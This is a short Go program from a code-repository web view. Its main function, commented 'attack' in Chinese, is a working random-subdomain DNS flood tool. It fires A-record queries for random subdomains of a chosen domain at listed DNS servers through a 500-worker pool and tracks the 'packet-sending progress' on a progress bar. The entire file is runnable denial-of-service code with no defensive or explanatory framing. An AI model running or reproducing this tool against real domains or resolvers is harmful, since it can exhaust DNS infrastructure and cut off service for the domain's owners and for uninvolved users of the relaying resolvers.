summaryrefslogtreecommitdiff
path: root/main.go
blob: 02f5e6895c5484424449becd49d7c04b048047cb (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main

import (
	"github.com/miekg/dns"
	"github.com/panjf2000/ants/v2"
	"github.com/schollz/progressbar/v3"
	"github.com/thanhpk/randstr"
	"os"
	"strconv"
	"strings"
	"sync"
)

// 攻击
func main() {
	defer ants.Release()

	var wg sync.WaitGroup

	p, _ := ants.NewPool(500, ants.WithPreAlloc(true))

	c := new(dns.Client)
	args := os.Args
	qname := args[1]
	runcount, _ := strconv.Atoi(args[2])
	bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度")
	for i := runcount; i > 0; i-- {
		for _, v := range args[3:] {
			wg.Add(1)

			fqdn := strings.ToLower(randstr.String(10)) + "." + qname

			print(fqdn + "\n")
			msg := dns.Msg{}
			msg.SetQuestion(fqdn, dns.TypeA)
			vi := v + ":53"

			_ = p.Submit(
				func() {
					_, _, err := c.Exchange(&msg, vi)
					wg.Done()
					if err != nil {
						return
					}
				})
			bar.Add(1)
		}
	}
	wg.Wait()
	print("完成!!")
}